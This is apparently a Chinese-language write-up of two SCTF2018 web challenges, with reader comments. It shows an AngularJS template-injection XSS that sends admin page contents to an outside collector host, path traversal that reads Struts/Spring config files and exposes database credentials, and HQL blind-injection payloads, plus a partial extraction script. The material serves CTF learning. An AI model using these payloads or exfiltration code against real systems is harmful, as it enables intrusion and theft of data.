SCTF2018 Web Writeup
0x01 新的建议板
看了一下页面内引用了AngularJS 1.4.6,然后找了一下对应版本的XSS漏洞,参考文章XSS without HTML: Client-Side Template Injection with AngularJS
1.4.0 - 1.4.9
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
提交留言即可触发xss,管理员那边也会触发一遍。
这里留言似乎有点过滤,我用base64编码然后利用JQuery的$.getScript函数引用js文件
$.getScript('http://xsspt.com/xxxx');
编码之后
eval(atob('JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw=='));
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw==\'));}}
提交留言然后就打到管理员了
然后发现后台并不在公网上,http://127.0.0.1:1002/admin/
构造payload开始读管理员后台
$.ajax({
url: "/admin",
type: "GET",
dataType: "text",
success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
},
error: function(msg) {
}
})
function xssPost(url, postStr) {
var de;
de = document.body.appendChild(document.createElement('iframe'));
de.src = 'about:blank';
de.height = 1;
de.width = 1;
de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
de.contentDocument.forms[0].submit();
de.style.display = 'none';
}
在js脚本里写入读取后台页面的代码,提交留言,收到 /admin
页面的内容
在base64跟url解码之后,拿到 /admin
页面
我们可以看到有个文件管理页面,继续修改js访问 /admin/file
这里需要输入文件密码才能访问,我们接下来找一下文件密码
在一开始的首页里有个 min-test.js
,这里泄露了admin模板文件 view/admintest2313.html
,在这个模板中发现一个备忘录的接口
猜测这是在看admintest2313
用户的备忘录,然后我们从获取到的后台页面中发现了 adminClound
这个用户名
拿到文件密码后,构造post包访问 /admin/file
$.ajax({
url: "/admin/file",
type: "POST",
data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
dataType: "text",
success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
},
error: function(msg) {
}
})
然后直接就打到flag了
0x02 Zhuanxv
拿到题目先扫目录(emmm...),扫到 /list
,访问需要登录,然后抓到个请求 /loadimage?fileName=web_login_bg.jpg
,猜测这是个文件读取漏洞,然后再猜猜他是个java程序,构造路径读取 web.xml
发现是Struts2写的站点,读一下配置文件 ../../WEB-INF/classes/struts.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="strutsenableDynamicMethodInvocation" value="false"/>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
<constant name="struts.action.extension" value=","/>
<package name="front" namespace="/" extends="struts-default">
<global-exception-mappings>
<exception-mapping exception="java.lang.Exception" result="error"/>
</global-exception-mappings>
<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
<result name="error">/ctfpage/login.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
<action name="loadimage" class="com.cuitctf.action.DownloadAction">
<result name="success" type="stream">
<param name="contentType">image/jpeg</param>
<param name="contentDisposition">attachment;filename="bg.jpg"</param>
<param name="inputName">downloadFile</param>
</result>
<result name="suffix_error">/ctfpage/welcome.jsp</result>
</action>
</package>
<package name="back" namespace="/" extends="struts-default">
<interceptors>
<interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
<interceptor-stack name="userAuth">
<interceptor-ref name="defaultStack" />
<interceptor-ref name="oa" />
</interceptor-stack>
</interceptors>
<action name="list" class="com.cuitctf.action.AdminAction" method="execute">
<interceptor-ref name="userAuth">
<param name="excludeMethods">
execute
</param>
</interceptor-ref>
<result name="login_error">/ctfpage/login.jsp</result>
<result name="list_error">/ctfpage/welcome.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
</package>
</struts>
根据上面的Action路径,构造读取class文件的路径 ../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
,逐一把上面的class文件都下载一遍,然后再读一下 ../../WEB-INF/classes/applicationContext.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName">
<value>com.mysql.jdbc.Driver</value>
</property>
<property name="url">
<value>jdbc:mysql://localhost:3306/sctf</value>
</property>
<property name="username" value="root"/>
<property name="password" value="root" />
</bean>
<bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="dataSource">
<ref bean="dataSource"/>
</property>
<property name="mappingLocations">
<value>user.hbm.xml</value>
</property>
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.show_sql">true</prop>
</props>
</property>
</bean>
<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
<property name="transactionManager">
<ref bean="transactionManager"/>
</property>
<property name="transactionAttributes">
<props>
<prop key="add">PROPAGATION_REQUIRED</prop>
<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
</props>
</property>
</bean>
<bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
<property name="hibernateTemplate">
<ref bean="hibernateTemplate"/>
</property>
</bean>
<bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
<property name="userDao">
<ref bean="userDAO"/>
</property>
</bean>
</beans>
这里是用hibernate框架执行sql,读取一下 ../../WEB-INF/classes/user.hbm.xml
<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
"-//Hibernate/Hibernate Mapping DTD 3.0//EN"
"http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
<class name="User" table="hlj_members">
<id name="id" column="user_id">
<generator class="identity"/>
</id>
<property name="name"/>
<property name="password"/>
</class>
<class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
<id name="flag" column="welcometoourctf">
<generator class="identity"/>
</id>
<property name="flag"/>
</class>
</hibernate-mapping>
看样子flag在数据库里。接下来继续下载applicationContext.xml
文件中引用的dao层跟service层的class文件
这里整理出主要的代码片段
//UserLoginAction.class
public boolean userCheck(User user) {
List < User > userList = this.userService.loginCheck(user.getName(), user.getPassword());
if ((userList != null) && (userList.size() == 1)) {
return true;
}
addActionError("Username or password is Wrong, please check!");
return false;
}
//UserServiceImpl.class
public List <User> loginCheck(String name, String password) {
name = name.replaceAll(" ", "");
name = name.replaceAll("=", "");
Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
if (password_matcher.find()) {
return this.userDao.loginCheck(name, password);
}
return null;
}
//UserDaoImpl.class
public List <User> loginCheck(String name, String password) {
return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}
在UserServiceImpl.class
这里只检测了password的正则,name只替换了空格跟等号,正则没起作用,所以这里可以注入。下面payload我为了演示方便直接写成空格,实际利用的时候替换成%09
在登录处user.name
注入
user.name=1'or''like''or''like'&user.password=aaaa
这样子直接进入后台,但这不是我们的目标,我们要读取数据库里的flag。可以利用登录判断来进行盲注,获取数据
user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa
然后就跑出用户名为homamamama,这不是重点,我们要读flag。由于这个是hql,很多mysql的特性没法用,只能根据hql的语法构建一个子查询。试了一下 (select name from User)like'%'
可以猜测读取到用户名,但是根据xml的数据表结构读取Flag表 (select flag from Flag)like'%'
却不行。
继续构造注入猜测, (select count(*) from Flag)like'1'
这个可以,说明Flag表里有一条数据。很多人都困在这一步了,读不到Flag表。这里要利用的是hql语句的子查询, (from Flag)like'%'
这样子就可以了,然后构造脚本开始跑Flag就可以了
user.name=1'or(from Flag)like'sctf{%25'or''like'&user.password=aaaa
最后获取到的flag要将花括号里的转成大写
师傅,user.name=1'or''like''or''like'&user.password=aaaa,为啥俩个or才生效啊,而且后面的or貌似和正常的and是一个作用
因为user跟password的条件都不满足,所以要用两个or才可以
阿里嘎多,虽然我还是不太清楚这个中间层是最终是执行了什么sql,一会实验一下。不过这里还看到另一种解法,\''让这个中间层失效,然后直接拼sql语句就行
出题人好像是分两步:http://hebic.me/2018/06/20/SCTF2018-Zhuanxv-Writeup/
目前看到以下这些解法:
#-*-coding:utf-8-*-
import requests
flag = ""
url = "http://121.196.195.244:9032/zhuanxvlogin"
for i in range(1,1000):
for j in range(33,127):
if (j==37) or (j==61) or (j==95):
continue
data = {
"user.name": "a\\''or\nascii(substr((select\nwelcometoourctf\nfrom\nbc3fa8be0db46a3610db3ca0ec794c0b),%s,1))